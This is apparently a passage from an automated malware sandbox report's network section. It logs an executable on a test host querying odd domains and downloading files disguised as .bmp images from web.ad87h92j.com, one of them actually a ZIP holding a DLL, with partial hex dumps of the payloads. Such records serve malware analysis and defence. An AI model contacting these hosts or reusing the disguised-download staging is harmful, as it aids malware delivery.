Sep 14, 2024 18:45:19.781246901 CEST	49732	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:19.782598019 CEST	49732	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:19.782613993 CEST	443	49732	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:19.782851934 CEST	443	49732	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:19.786226988 CEST	49732	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:19.786226988 CEST	49732	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:19.786295891 CEST	443	49732	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:20.421325922 CEST	443	49732	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:20.421423912 CEST	443	49732	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:20.421655893 CEST	49732	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:20.421722889 CEST	49732	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:20.421722889 CEST	49732	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:20.421750069 CEST	443	49732	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:20.421762943 CEST	443	49732	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:25.441932917 CEST	49733	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:25.441983938 CEST	443	49733	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:25.442056894 CEST	49733	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:25.442379951 CEST	49733	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:25.442394018 CEST	443	49733	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:25.911020994 CEST	443	49733	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:25.911106110 CEST	49733	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:25.912365913 CEST	49733	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:25.912373066 CEST	443	49733	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:25.912595034 CEST	443	49733	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:25.913743973 CEST	49733	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:25.913770914 CEST	49733	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:25.913805008 CEST	443	49733	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:26.596478939 CEST	443	49733	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:26.596564054 CEST	443	49733	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:26.596616983 CEST	49733	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:26.597517967 CEST	49733	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:26.597537994 CEST	443	49733	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:26.597552061 CEST	49733	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:26.597558975 CEST	443	49733	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:32.620699883 CEST	49734	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:32.620742083 CEST	443	49734	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:32.620812893 CEST	49734	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:32.621329069 CEST	49734	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:32.621340036 CEST	443	49734	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:33.089080095 CEST	443	49734	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:33.089221001 CEST	49734	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:33.090486050 CEST	49734	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:33.090492010 CEST	443	49734	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:33.090718031 CEST	443	49734	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:33.092046022 CEST	49734	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:33.092061043 CEST	49734	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:33.092106104 CEST	443	49734	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:33.751825094 CEST	443	49734	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:33.751903057 CEST	443	49734	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:33.751965046 CEST	49734	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:33.752230883 CEST	49734	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:33.752247095 CEST	443	49734	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:33.752262115 CEST	49734	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:33.752266884 CEST	443	49734	172.67.72.137	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 14, 2024 18:44:07.569629908 CEST	52836	53	192.168.2.6	1.1.1.1
Sep 14, 2024 18:44:07.595649004 CEST	53	52836	1.1.1.1	192.168.2.6
Sep 14, 2024 18:44:36.968853951 CEST	58763	53	192.168.2.6	1.1.1.1
Sep 14, 2024 18:44:36.982825041 CEST	53	58763	1.1.1.1	192.168.2.6
Sep 14, 2024 18:44:38.436850071 CEST	63262	53	192.168.2.6	1.1.1.1
Sep 14, 2024 18:44:38.475584030 CEST	53	63262	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 14, 2024 18:44:07.569629908 CEST	192.168.2.6	1.1.1.1	0x755a	Standard query (0)	web.ad87h92j.com	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:36.968853951 CEST	192.168.2.6	1.1.1.1	0xb38e	Standard query (0)	caces.goldenh0ur.com	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:38.436850071 CEST	192.168.2.6	1.1.1.1	0x2c8b	Standard query (0)	mvc.withoutyou5.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 14, 2024 18:44:07.595649004 CEST	1.1.1.1	192.168.2.6	0x755a	No error (0)	web.ad87h92j.com	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:07.595649004 CEST	1.1.1.1	192.168.2.6	0x755a	No error (0)	web.ad87h92j.com	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:36.982825041 CEST	1.1.1.1	192.168.2.6	0xb38e	No error (0)	caces.goldenh0ur.com	104.21.17.45	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:36.982825041 CEST	1.1.1.1	192.168.2.6	0xb38e	No error (0)	caces.goldenh0ur.com	172.67.222.6	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:38.475584030 CEST	1.1.1.1	192.168.2.6	0x2c8b	No error (0)	mvc.withoutyou5.com	172.67.72.137	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:38.475584030 CEST	1.1.1.1	192.168.2.6	0x2c8b	No error (0)	mvc.withoutyou5.com	104.26.6.127	A (IP address)	IN (0x0001)	false
Sep 14, 2024 18:44:38.475584030 CEST	1.1.1.1	192.168.2.6	0x2c8b	No error (0)	mvc.withoutyou5.com	104.26.7.127	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

caces.goldenh0ur.com

mvc.withoutyou5.com

web.ad87h92j.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49721	188.114.97.3	80	2544	C:\Users\user\Desktop\8CoDx513sS.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 18:44:07.607569933 CEST	77	OUT	GET /4/laos.bmp HTTP/1.1 Host: web.ad87h92j.com Cache-Control: no-cache
Sep 14, 2024 18:44:08.488117933 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:08 GMT Content-Type: image/bmp Content-Length: 139784 Connection: keep-alive Last-Modified: Thu, 08 Aug 2024 17:09:52 GMT ETag: "50375cc8b5e9da1:0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DRsfmhR1K5CLJokqAIXpmEW96zfR%2FeK6EJkpe95J5ztEyv%2BDnGqFGRtCWJwMxJEkRRMdqwe6GfomUq%2BzJXmQYJOqGw5%2BrLEROAK071Ex2p6t2QZi8qjeKExzp1LTqzVD1YFv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d7064a2542fe-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 84 6c 00 00 6c 34 55 89 89 e5 c2 05 93 67 00 00 ed ae ff 21 6e 6c 68 05 6c 6c 00 68 68 6c 00 00 3e 04 c0 1b c4 99 50 e8 69 6c 00 00 ef a8 14 c9 af ed ec 14 6d 6c 00 53 39 3a 57 6a 07 34 6a 65 0a e5 84 24 a0 6c 00 00 5f 81 58 6a 1e 35 6a 6e 37 06 6c 5a 06 5f 66 89 e8 48 ce 00 6c 6c 66 89 e8 48 d4 00 6c 6c 58 6a 5e 0a 89 84 48 b4 00 00 6c 34 6a 2e 0a e5 84 24 b6 6c 00 00 34 06 64 66 e5 e8 24 dc 6c 6c 00 58 e5 c0 24 b0 6c 6c 00 89 00 48 34 89 c0 48 b8 00 6c 6c 89 ac 48 a8 00 00 6c e5 ac 24 d8 6c 00 00 e5 c0 24 ac 6c 6c 00 89 c0 48 e0 00 6c 6c 66 89 e0 48 cc 00 6c 6c 66 89 f0 48 ce 00 6c 6c 66 89 f8 48 d2 00 6c 6c 66 89 e8 48 da 00 6c 6c 66 89 f8 48 dc 00 6c 6c 66 89 f8 48 de 00 6c 6c c6 44 48 50 53 88 38 48 3d 66 ab 28 24 3e 09 09 c6 44 48 2c 70 66 ab 28 24 50 20 03 c6 44 48 3e 61 88 28 48 53 66 ab 28 24 54 20 05 c6 44 48 3a 62 88 20 48 57 c6 28 48 58 61 e4 20 24 59 0a ab 44 24 36 15 41 66 ab 28 24 44 3a 05 88 4c 48 2a 66 c7 28 48 47 74 19 aa 44 24 25 0d 88 54 48 26 c6 44 48 27 41 88 38 48 4c 88 38 48 [TRUNCATED] Data Ascii: ll4Ug!nlhllhhl>PilmlS9:Wj4je$l_Xj5jn7lZ_fHllfHllXj^Hl4j.$l4df$llX$llH4HllHl$l$llHllfHllfHllfHllfHllfHllfHllDHPS8H=f($>DH,pf($P DH>a(HSf($T DH:b HW(HXa $YD$6Af($D:LH*f(HGtD$%TH&DH'A8HL8HMf($Nf(H\VL$2DH3tu($aT$D$<LHDHotDHtHllFHllHlsh%$l$lHl$lti$lloYHllLHLHLHHlHl$l/ch($l+D$NaDHiv($u?stD$I0H
Sep 14, 2024 18:44:08.488212109 CEST	1236	IN	Data Raw: 7c 66 ab 28 24 7d 0a 03 66 c7 e8 48 80 00 6c 6c 52 74 e4 f8 24 82 6c 6c 00 c6 e8 48 83 00 6c 6c 41 88 e8 48 84 00 6c 6c 88 84 48 e9 00 00 6c 0a c7 84 48 ea 00 00 6c 2a 75 88 f0 48 88 00 6c 6c c7 84 48 e5 00 00 6c 0f 74 69 03 e4 9c 24 e1 6c 00 00 Data Ascii: \|f($}fHllRt$llHllAHllHlHl*uHllHlti$l$l8HlHlwll-^kll$lljt$l4HlHlD$p<Hl\$X<UUj3D$(\|HxDHtDHXPU($\|$r<tHDbXf($D$zD$0D$t$
Sep 14, 2024 18:44:08.488265991 CEST	1236	IN	Data Raw: f1 81 ab af 9e 26 6c 5f d2 89 d0 48 28 01 6c 6c 6a 05 e1 24 01 8b ab ad e8 10 e1 d0 24 f0 6c 6c 00 25 93 13 00 00 9b 9d 59 03 a9 07 c0 14 06 69 03 c6 29 e7 f0 f3 c9 35 8b f3 e7 94 8b 44 48 7c f3 a5 06 69 8b fb e1 d8 24 f0 6c 6c 00 59 9f c9 8b bc Data Ascii: &l_H(llj$$ll%Yi)5DH\|i$llYHDl$$W$llrl$D\$@llgD$T$TmP+`\|H@cll<$lTHp7obt\|$\yec9<jZn_$lTmt,-9lHllUf($D$vD$t
Sep 14, 2024 18:44:08.488301992 CEST	1236	IN	Data Raw: 8b 57 74 e9 d2 0f e9 3c ff ff 93 5f c0 5f 32 31 5b 83 a8 78 c3 8b 18 48 18 8b 28 7a 24 8d 68 34 0f b7 60 7c 8b 44 7a 70 8d 04 e4 e7 04 10 6f ae eb db 21 36 90 00 6f 6c 00 00 68 6c 00 00 93 93 00 00 d4 6c 00 00 6c 6c 00 00 2c 6c 00 00 6c 6c 00 00 Data Ascii: Wt<__21[xH(z$h4`\|Dzpo!6olhllll,llllllllllllllllllbslMLMTh pgr cnoLbeLunLn (#S deBaHlll:~V~V~VeVfVQVV`hV\|VPVPVwxVzVwhVmV~
Sep 14, 2024 18:44:08.488337040 CEST	1236	IN	Data Raw: ff 8b 64 3f 50 ff 3d 3c 57 ff 79 ac 80 01 7c e9 c0 74 61 e7 85 f0 91 93 ff 8b 64 3b 50 ff 3d 40 39 b5 84 91 ff ff 10 37 33 c0 04 6a 02 00 6c 0a 89 85 98 91 ff ff e1 e9 f6 fd 93 93 56 50 84 67 bc 00 6c ef c4 0c 04 68 01 00 6c e1 85 f4 91 93 ff 50 Data Ascii: d?P=<Wy\|tad;P=@973jlVPglhlPmVyD\|d:><Qtd<Qdd<Qdm!32ll9Dln\|3))dSV;=m3?PSjl?SS\|lVt~m\|]
Sep 14, 2024 18:44:08.488373041 CEST	1236	IN	Data Raw: ff 50 5f 93 e8 b1 96 93 ff 56 5f b7 8d 85 6a 91 ff ff 3f 3c c7 85 90 90 ff ff 37 56 5c 31 ab e9 00 fd 93 93 2e 71 1b 1d 66 c7 e9 68 fd ff 93 5d 00 e8 28 db 00 00 ef aa 0e 56 e1 e9 f9 f9 93 93 53 50 e4 f1 f8 f9 93 93 e8 2d db 6c 00 83 a8 58 33 c0 Data Ascii: P_V_j?<7V\1.qfh](VSP-lX3i@:hlSP[:0?lrtup0]dBwq1lllV?Pllt_ii,:jP<_@!_^_
Sep 14, 2024 18:44:08.488406897 CEST	1236	IN	Data Raw: 85 c0 18 60 8d 45 a8 3c 8b cf 84 2b fe ff 93 35 8b 7d a0 e1 45 c4 3c 04 c0 a6 6d 7c 53 ff ba e9 c0 74 60 e1 45 c4 3c e7 cf e8 44 92 ff ff 35 e7 7d cc e1 29 c4 50 04 b8 a6 01 7c 3f ff d6 e9 ac 74 0c e1 29 c4 50 e7 a3 e8 09 92 93 ff 59 e7 11 cc 8d Data Ascii: `E<+5}E<m\|St`E<D5})P\|?t)PY)Ph?)PYE<hmS`E<5}E<$m\|St`E<5})P,\|?t)PY)Ph?)PnYE<ht
Sep 14, 2024 18:44:08.488439083 CEST	1236	IN	Data Raw: a6 01 7c 3f ff d6 e9 ac 74 0c e1 29 f4 50 e7 a3 e8 6d 95 93 ff 59 e7 11 cc 8d 29 98 50 68 10 ca 01 10 3f 93 d6 85 ac 18 0c 8d 29 98 50 8b a3 84 4e f9 93 93 59 8b 11 a0 8d 45 98 3c 68 94 ca 6d 10 53 93 ba 85 c0 18 60 8d 45 98 3c 8b cf 84 43 f9 ff Data Ascii: \|?t)PmY)Ph?)PNYE<hmS`E<C5}E<m\|St`E<\|5})P\|?t)PY)Ph?)PYE<hmS`E<5}E<m\|St`E<5}
Sep 14, 2024 18:44:08.488471985 CEST	1236	IN	Data Raw: 50 a5 93 79 98 81 6d 7c 8d b5 48 90 ff ff e1 d1 64 fc 93 93 a5 a5 c9 e1 85 14 90 93 ff 50 c9 93 15 98 ed 6d 10 8d d9 78 fc ff 93 e1 bd 54 90 93 ff a5 c9 c9 8d 85 b8 97 ff ff 3c c9 ff 15 f4 ed 01 10 aa 29 fc 03 ef 80 10 8b 90 e1 b5 74 90 93 ff a5 Data Ascii: Pym\|HdPmxT<)t\|d\|8PQ(Qm\|<x<$PP\|f)lllWthn_;QP
Sep 14, 2024 18:44:08.488507986 CEST	1236	IN	Data Raw: a1 b0 6c 6e 10 33 a9 e5 45 f8 e7 29 08 89 e9 a4 e7 ff 93 e7 45 10 3f 3a 89 85 b0 8b ff ff e7 29 18 57 e5 e9 d4 e7 93 93 33 c0 04 92 03 00 6c 0a 89 85 98 8b ff ff 5f b7 8d 85 9a 8b ff ff 3f 3c 8b f1 84 8f a3 00 6c 04 00 14 6c 6c 8d 85 98 87 ff ff Data Ascii: ln3E)E?:)W3l_?<lll?<ljTS<llnlH<lSV<l
Sep 14, 2024 18:44:08.493526936 CEST	1236	IN	Data Raw: 8d bd 90 92 ff ff 23 e6 47 01 2b 56 c3 75 94 d2 08 c7 6d 7c 8d 85 90 92 ff ff c9 3c ff b5 98 92 ff ff c9 84 ae 87 6c 6c 59 59 e9 ac 74 5a d2 6c 00 40 73 3a e8 08 eb 6c 00 8b 94 35 3b fb 18 16 ff b5 9c 92 ff ff 93 d9 ec fe 93 93 57 e8 e8 64 01 00 Data Ascii: #G+Vum\|<llYYtZl@s:l5;WdGQ?PSPV;y\|;lYJS<@823M_[~lUQS:;3:llj:hlly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49722	188.114.97.3	80	2544	C:\Users\user\Desktop\8CoDx513sS.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 18:44:08.941112041 CEST	120	OUT	HEAD /4/text.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Sep 14, 2024 18:44:09.419481039 CEST	692	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:09 GMT Content-Type: image/bmp Content-Length: 6443425 Connection: keep-alive Last-Modified: Thu, 08 Aug 2024 15:32:21 GMT ETag: "607df428a8e9da1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 474 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xkE9wh51%2F4qxx7Hd5eK%2BFT2Xz127vL9Wr9bjXgVaBKTUfIQsm9bc1uQtAf4rO1Bi84ys%2Bzbdai9YwzVXyKBt%2FU6HoK6ajRRCvW8bxt7oER9BjB4C3BzdIIMnpMdu5UdxiHyv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d70e6e4942ca-EWR alt-svc: h3=":443"; ma=86400
Sep 14, 2024 18:44:09.421933889 CEST	119	OUT	GET /4/text.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Sep 14, 2024 18:44:09.529581070 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:09 GMT Content-Type: image/bmp Content-Length: 6443425 Connection: keep-alive Last-Modified: Thu, 08 Aug 2024 15:32:21 GMT ETag: "607df428a8e9da1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 474 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HlL175vhpjI9QzJMcE6i3d4bAYfhh5OOCVjZPuAH8JAH1v4ynwJ2XeZXEeHZaLpufQXBi5nLs2FmS6wmn9iZyIpfXiwuzenENcxr4dAzMudNR9XvkgbUcA641nDvfb2gbx%2FW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d70f3f0342ca-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 50 4b 03 04 14 00 00 00 00 00 52 09 02 59 00 00 00 00 00 00 00 00 00 00 00 00 05 00 11 00 74 65 78 74 2f 55 54 0d 00 07 f1 31 ac 66 f1 31 ac 66 f1 31 ac 66 50 4b 03 04 14 00 09 00 08 00 ae 88 37 58 00 00 00 00 00 00 00 00 78 a9 06 00 11 00 11 00 74 65 78 74 2f 4d 53 56 43 50 31 34 30 2e 64 6c 6c 55 54 0d 00 07 d3 f1 af 65 6a c1 ab 66 32 4d 82 66 87 7a eb 30 49 5c 70 71 cf 9f 0b 7f 37 1a ef fe ec 4e 99 14 e9 79 0c eb 41 b9 e8 f1 0c 4c 80 3a 7f 76 93 46 46 e8 65 7d bc 46 e7 22 b0 cc d0 5f 0c fe e5 9a c6 07 68 49 cf 67 8c de f1 91 0a 4d 5f 96 fa d9 d6 82 da 5d 83 1e 78 91 03 68 d0 5c f3 7f be 92 78 68 7f 9b 82 3d 58 0a 03 a3 ca 52 a9 20 ad ce 0c 1c 17 57 32 4f 23 2d bd 75 0e cf 2d 73 5a f1 a5 25 a2 53 54 c7 df 3d 96 7b f5 d6 b7 e4 a5 b1 33 57 3e 91 c8 b1 9f 68 0b 2f d7 28 a9 80 e2 6e 4c cc 82 c2 26 fe 2b 7e ce 5e 42 59 1b b0 3c 97 03 3a bf 54 e9 ce 6b d0 11 f6 8c a1 96 6a 71 dd 5b a0 e2 f0 6e 1c 54 d9 8d e7 7b 68 d7 cb 0f 8d a0 bc 2f 63 1e dc b5 69 41 6a 0d fd 2b c8 88 9c 7c 92 ea 7c bc 78 5c b1 3a 4c [TRUNCATED] Data Ascii: PKRYtext/UT1f1f1fPK7Xxtext/MSVCP140.dllUTejf2Mfz0I\pq7NyAL:vFFe}F"_hIgM_]xh\xh=XR W2O#-u-sZ%ST={3W>h/(nL&+~^BY<:Tkjq[nT{h/ciAj+\|\|x\:LSC@rMu`%fJK]^;$)(H$W1;c9;fLFh!=\|z<2A <=T(t-jK<z>Uu>a"-,7\Qk'#PG[H;}h}ix!sVN8G&_#]J_g]G,f
Sep 14, 2024 18:44:09.529632092 CEST	1236	IN	Data Raw: e6 52 4a 96 de f4 55 2f 87 04 f5 77 df 64 b2 b2 cf 7f db 8e e0 a3 c6 bc f2 d8 76 d0 2d a3 8a 92 84 92 1d 04 c3 21 d5 41 3d 5c 5c 55 6e db e0 06 fc 85 66 0c f1 90 1a 88 35 63 60 37 93 5b 01 d5 74 bb 3a a9 99 4a 31 1f 93 12 2f 48 56 f1 b2 b3 25 aa Data Ascii: RJU/wdv-!A=\\Unf5c`7[t:J1/HV%6IIBej">($\|:Wb.wAxBMX}bpk055^%wC ua}:?u!j[0;!BidiF2T2mgC}R.2J7
Sep 14, 2024 18:44:09.529665947 CEST	1236	IN	Data Raw: 3c a5 4a 7f 2f 8e 72 df 6e ac 75 3e 67 55 0e a7 3b f5 2f 91 20 bb f7 4b d4 ca dd ce 1f 20 92 23 b8 3c f4 25 31 11 a8 5d ab ac 68 ea 27 da 48 b8 6c 98 73 b8 95 b5 85 26 bf d9 58 2a c2 66 8c 74 56 0a 6b 37 95 54 eb 8c 0f 4f 2b 78 c4 38 0a fe 9f 3c Data Ascii: <J/rnu>gU;/ K #<%1]h'Hls&X*ftVk7TO+x8<nt_/!bBI)1d+s:jYE%kS^4v]\`;^t3msXW[U>^O)jA5/MMg~L+iv 'MP!H(F
Sep 14, 2024 18:44:09.529704094 CEST	1236	IN	Data Raw: 65 83 66 eb 78 14 b0 3c 8e 7c d7 9a 29 6c 14 a9 7a d8 e5 fd d3 34 1c 17 a8 c7 07 e7 45 af 95 47 bc 69 48 a9 a9 d0 be de b2 e1 95 af 2c 1a a5 20 b5 67 27 a5 e9 28 10 a8 5e 1b da 47 92 6e 8c c9 f8 70 86 57 63 7b a3 be 01 e5 bb 6c 47 3c 31 92 ee 71 Data Ascii: efx<\|)lz4EGiH, g'(^GnpWc{lG<1q;9*IOH>9l_41"5_1A}u5v\s~qN4{+uZN2vuRsK}>cMuWo8?v`O,3$T2\|yg$&'
Sep 14, 2024 18:44:09.529736042 CEST	896	IN	Data Raw: 8f 6b 18 23 7b 7b c7 01 8c b5 fd c5 b2 f3 ba b7 02 e3 3f 76 ec 02 54 1f 66 ca 6c 0b 7c 91 46 07 43 fe 5e c2 f0 cb a7 11 c9 de 27 19 e8 99 ba 1a 57 0a c5 56 47 e1 f9 8c 87 24 77 ed 3e a1 b6 fa a3 31 59 e0 dc d7 31 00 18 32 86 90 ea 94 6b cb 89 25 Data Ascii: k#{{?vTfl\|FC^'WVG$w>1Y12k%^VZAPwcA6!k)5%ZRKK2%M,9!-d{Tk5^aC$J1="%&T=k/RT^"k-E:b5GwEk4*Juv8
Sep 14, 2024 18:44:09.529771090 CEST	1236	IN	Data Raw: 89 0b 4c 01 7d 14 ab b4 0b c2 8b 8e 62 8e 71 e9 30 fc f4 72 05 b4 62 f0 15 14 00 68 38 38 ef 36 16 a8 17 51 26 8a 9e 71 33 a1 ff 2e de e0 36 f3 bc e1 40 ab d5 25 1f 17 dd 6d ab 44 f0 81 62 87 93 14 b8 af bf 23 53 ed 4a d2 b3 79 51 45 26 ea f3 7f Data Ascii: L}bq0rbh886Q&q3.6@%mDb#SJyQE&K*eGV&EM%np}~P{1`5%Cf;"eY^mZp#`KG+c#]h]Ti=]>l!?,vE-fp
Sep 14, 2024 18:44:09.529808044 CEST	1236	IN	Data Raw: 09 9b e8 0d 1c 36 b0 b3 bf 86 a8 8f 53 12 d1 89 5f 8b a5 c9 93 43 94 84 71 50 60 c4 e8 0e ae f3 aa fa cd 8a 8a 09 5b f4 9b 7a 92 8c d3 2d 9b a1 10 6d 78 53 5e 3b 1e a6 0e 62 52 70 02 1d 6a 7e 9c 2b 4d 9d ee 50 80 65 5c 34 5e ee 0a 3b 08 0e f2 af Data Ascii: 6S_CqP`[z-mxS^;bRpj~+MPe\4^;a1nC_!p]BJ"I0$^#iszT?E 0$'#}vwD9AEQ;R"?UwoX9f5 X v`@0-u-mD
Sep 14, 2024 18:44:09.529844046 CEST	1236	IN	Data Raw: 53 b2 b2 f1 6b 5b 49 9d 33 66 5b e4 db 1d 4d 5b 4b 6a 97 83 54 f3 2f 63 9e c4 b2 b1 b5 08 9d 06 8b 1b 20 66 90 2a c4 28 74 d9 4a de 7e b1 d2 6d 08 95 75 69 9d 73 79 1d 9b db c0 4c f3 1b 76 a0 68 81 f7 11 ff fe b2 86 d5 47 30 33 8f 4c 77 e8 0d e8 Data Ascii: Sk[I3f[M[KjT/c f*(tJ~muisyLvhG03Lw9XmcYOE5M +/+62gb}bs6OykwboP'&xcWKLY1?@$bdJMRzG=w8ahL'I[y%H
Sep 14, 2024 18:44:09.529875994 CEST	1236	IN	Data Raw: 8e 42 8e f0 5f 07 45 60 ca d1 a0 0e 8c fa 49 bd 82 d9 af f9 a1 2f e7 9b 2a 68 d2 93 c5 77 f5 c1 4a a3 50 bb ef b6 05 9b f3 78 bd b1 dc c7 77 e7 e5 fd 7c 33 30 1e 05 97 c2 49 a7 b5 27 82 43 3f f1 6f 4b fc 68 da f0 a4 5a 15 12 ba 37 31 a4 a7 b6 e2 Data Ascii: B_E`I/*hwJPxw\|30I'C?oKhZ71Ac>6u;sow )JCUS!Yi]u,09S)_r=n$fL45v}%dmNCeS6:(=%$R3f^8\`x!(y"@IeB,DnBQ?Du
Sep 14, 2024 18:44:09.529911041 CEST	1236	IN	Data Raw: 7a f3 a6 ae ba 2e 23 5a 06 93 7a 4d 24 ba 0e 89 1d 63 0b 1f 5a 66 31 ab 18 33 1c 2d 85 76 e8 4a 65 be 53 29 34 7d 88 19 2a 0c a9 53 b4 cc 4a 28 f5 ca 3f 26 58 c9 be c8 61 6c 4e 3a 5e 07 8c 7b 1f ed 43 b3 8f 9e fd 6c 03 19 b1 de d6 a9 94 b2 2e db Data Ascii: z.#ZzM$cZf13-vJeS)4}*SJ(?&XalN:^{Cl.#gPUVot,!f_\|v'N]-`4XJwxTkj&'Qm^q)Avo9;Zpo7&i^hFDc[]q?uH
Sep 14, 2024 18:44:09.530406952 CEST	552	IN	Data Raw: 3c 47 f8 b6 bc 50 21 ae a7 6b 1d b7 67 b8 33 9b bb 67 c8 ba 41 f6 17 d1 e3 6f da 77 6e 38 e7 e8 05 2f 91 a2 d7 50 76 3e 87 7a 06 6f ee c2 6f 2a 92 4e d5 a5 75 83 b3 cf 81 d0 9f 9c 89 6a 1d ab ce f5 43 e0 6d 73 7c f6 00 bb 82 4e b8 3b 87 5a 11 29 Data Ascii: <GP!kg3gAown8/Pv>zoo*NujCms\|N;Z)}i$BvJIxObdAjoo 14:_#g:U><cHs8Fvl<x>hzdgy"oPVc.\|HH;4Uv#/;xik'Y
Sep 14, 2024 18:44:15.433590889 CEST	117	OUT	HEAD /4/d.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Sep 14, 2024 18:44:15.539038897 CEST	688	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:15 GMT Content-Type: image/bmp Content-Length: 1236598 Connection: keep-alive Last-Modified: Sat, 10 Aug 2024 07:20:10 GMT ETag: "80fe2fbcf5eada1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 473 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rNX1i97BNZAwk08uF8yyzpAyDcg2uiiZ3lTAJ4TKHYyjd7eJACg%2B1pjuOXMxKamNT615G2z%2Fc7878ZeZekzIUHnpvjbx8WHO5oDiFAktng4BFwQh6PxF7kFgYf1s9VKBLNbx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d734cfb442ca-EWR alt-svc: h3=":443"; ma=86400
